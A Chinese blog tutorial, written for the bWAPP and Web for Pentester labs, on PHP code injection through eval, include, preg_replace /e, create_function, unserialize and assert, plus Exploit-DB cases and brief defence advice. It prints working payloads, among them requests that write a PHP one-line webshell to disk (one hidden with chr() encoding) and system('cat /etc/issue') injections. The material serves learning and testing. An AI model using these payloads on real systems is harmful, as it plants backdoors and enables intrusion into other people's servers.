從bwapp學PHP代碼注入

0x00 背景

在bwapp的注入部分有一個個php injection,這是第一次接觸,在做題的過程中查閱各種資料學習這里總結一下

0x01 PHP命令執行函數

遵從幾位學長的建議對于PHP的學習都是需要的時候才去看一下,所以理解的程度并不深。這里從網上收集了一些PHP能夠執行命令的函數。詳情請看php執行函數

0x02 bwapp下實例

在php injection的源代碼可以看到只有low等級的對于message參數前有eval執行函數,midium和high都只是使用echo打印到頁面之上。因此直接在message的值寫為phpinfo()就能執行該函數。

在網上看到一個相較高級的利用辦法是利用fopen來寫入一個php文件,相當于實現了文件上傳的功能,要想在實際環境中實現需要考慮很多繞過的情況,但是想法不錯!

http://127.0.0.1:82/bwapp/phpi.php?message=fputs(fopen('haha.php','w+'),'<?php @eval($_POST[test])?>')

這樣的話就會在phpi的同級目錄之下生成一個haha.php文件,使用菜刀連接就好。

medium與high就直接忽略掉了。

0x03 文件包含

文件包含函數在特定條件下的代碼注射,如include()、include_once()、 require()、require_once()。當allow_url_include=On ,PHP Version>=5.2.0 時,導致代碼注射。

test.php代碼如下:

<?php include($_GET['a']) ?>

提交a的值:

http://127.0.0.1:82/test.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E

提交之后就能正常執行phpinfo()了

0x04 preg_replace正則替換

這個函數的定義形式是:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

pattern參數的利用

pattern即第一個參數的代碼注射。當magic_quotes_gpc=Off時,導致代碼執行。

例:<?php echo $regexp = $_GET['reg'];

$var = 'phpinfo()';

preg_replace("/(.*?)$regexp", '\\1', $var);

?>

當提交?reg=%3C\/php%3E/e時就會執行var中的語句

②使用/e修飾符,preg_replace會將?replacement?參數當作?PHP?代碼執行

例如:

<?php ?

echo?preg_replace("/test/e",$_GET["h"],"jutst?test");

??>/*當提交的h參數為phpinfo()就會被執行,當執行以下經過chr函數繞過的會生成一個新的php文件

h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).

chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).

chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).

chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文對應的明文是:fputs(fopen(data/a.php,w), <?php eval $_POST[cmd[ ?>);

0x05 動態代碼執行

這一類一般是從用戶處獲得了多個參數,然后有一個可以用來執行其他的語句。

<?php ? $a = $_GET['a']; ? ? ? ? $b = $_GET['b']; ? ? ? ?$a($b); ? ?>

提交a=system&b=ipconfig ? 就能成功執行ipconfig命令

還有一種是使用了create_function()函數

string?create_function ?(?string$args?? ,?string$code?? ) 即第一個參數指定創建函數的參數,第二個就是創建函數的代碼部分。

create_function('$name', 'echo "hello".$name;'))等價于

function fun($name){ echo "hello".$name; }

實驗代碼:

提交:http://127.0.0.1:82/test.php?foobar=eval(phpinfo())

0x06 實例

http://www.exploit-db.com/exploits/18565/??LotusCMS 3.0 eval() Remote Command Execution

影響版本:

LotusCMS version 3.0.3

LotusCMS version 3.0.5

漏洞描述:

在LotusCMS 的index.php 文件中調用router 構建函數,然后在lcms/core/lib/router.php 中page 這個參數被帶入,由于未經任何過濾可以產生該漏洞。


也可以像上面提到的一樣利用執行函數的特性來寫入一個文件

3.案例-2:

http://www.exploit-db.com/exploits/35183/?X7 Chat 2.0.5 preg_replace() PHP Code Execution

影響版本:X7 Chat version 2.0.5

漏洞描述:

漏洞的產生最終是由于/lib/message.php 下的第119 行的preg_replce()函數導致,這里引用了/e 修飾符,并且未經過嚴格過濾最終導致任意代碼執行。

案例演示:

1. 首先需要注冊一個用戶

2. 利用注冊的用戶登錄

3. User CP –>Offline Msgs –>創建一個項目鏈接–>Send

或者直接GET 如下代碼

之后可以看到成功創建一個項目,當打開創建的項目可以看到利用代碼被成功執行

Metasploit 更新了漏洞利用模塊,可以利用該模塊演示一下被利用的場景

PHP create_function()

1.在php 中使用create_function()創建一個匿名函數(lambda-style),如果對參數未進行嚴格的過濾審查,攻擊者可以通過提交特殊字符串給create_function()從而導致任意代碼執行。

Code:

PHP?unserialize

Code:

提交語句:http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}

PHP assert

Code:

提交語句:http://127.0.0.1/test/assert.php?test=phpinfo();

0x07 代碼執行繞過

前面將一些常見的易造成PHP代碼注入的函數介紹了一下。接下來將以web for pentester中的案例來演示一下,一些簡單的php代碼執行的繞過。

案例演示:

example1.php

代碼:

解決方案:

查看代碼我們可以看到,這里使用了反斜杠【\】將echo后面的內容給轉義了。這樣做與加addslashes()函數進行過濾的意思是一樣的。具體案例可以到這里學習【php4fun.sinaapp.com PHP挑戰通關攻略】。但是我們可以通過${${ }}這樣的方式繞過,從而繼續執行代碼。

提交語句:

http://target/codeexec/example1.php?name=${${phpinfo()}}

example2.php

代碼:

解決方案:

我們看代碼,造成造成代碼注入的重點在被加紅的區域也就是create_function()的不當使用,我們可以這樣構造);}phpinfo();//,從而繼續執行我們的命令。【這里解釋一下);}是閉合了前面的代碼,而//則是將后面的內容注釋掉】

提交代碼:

http://target/codeexec/example2.php?order=id);}phpinfo();//

example3.php

代碼:

解決方案:

/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼(在適當的逆向引用替換完之后)。提示:要確保 replacement 構成一個合法的 PHP 代碼字符串,否則 PHP 會在報告在包含 preg_replace() 的行中出現語法解析錯誤。

因此當滿足了在語句的構造中有/e修正符,就有可能引起php代碼注入的風險。可以如此構造

new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

提交代碼:

http://target/codeexec/example3.php?new=system(‘date’)&pattern=/lamer/e&base=Hello lamer

example4.php

代碼:

解決方案:

如此構造即可:hacker’.system(‘cat /etc/issue’).’

提交代碼:

http://target/codeexec/example4.php?name=hacker’.system(‘cat /etc/issue’).’

0x08 代碼防御

盡量不要執行外部的應用程序和命令

在使用諸如:eval、preg_replace、assert這些函數的時候,確定參數的內容,嚴格過濾危險參數。

使用自定義的函數或者函數庫來實現相關的需要命令功能

0x09 相關參考

代碼審計典型語法結構

PHP代碼執行漏洞總結

cn2.php.net

慎用preg_replace危險的/e修飾符(一句話后門常用)

Web攻防系列教程之淺析PHP命令注入攻擊

文中后半部分來自千域千尋,PHP Code Injection Analysis

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,606評論 6 533
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,582評論 3 418
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,540評論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,028評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,801評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,223評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,294評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,442評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,976評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,800評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,996評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,543評論 5 360
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,233評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,662評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,926評論 1 286
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,702評論 3 392
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,991評論 2 374

推薦閱讀更多精彩內容

  • PHP代碼執行函數 eval & assert & preg_replace eval 函數 php官方手冊:ht...
    xaviershun閱讀 5,097評論 1 12
  • 事情是這樣的,朋友的網站的利用各種查找后門的工具都沒有發現php木馬。老是找不到,小黑的伎倆很高級,每次使用完畢總...
    查無此人asdasd閱讀 391評論 0 0
  • PHP:include()``include_once()``require()``require_once() ...
    尋夢xunm閱讀 863評論 1 4
  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell實現與隱藏探究 一...
    JackyTsuuuy閱讀 20,879評論 2 13
  • 遺留代碼重構的原因: 風險: 詳情鏈接:淺談遺留代碼的重構 從以下幾個方面談談重構 1. 整理資源文件 刪除未使用...
    不吃雞爪閱讀 3,599評論 0 16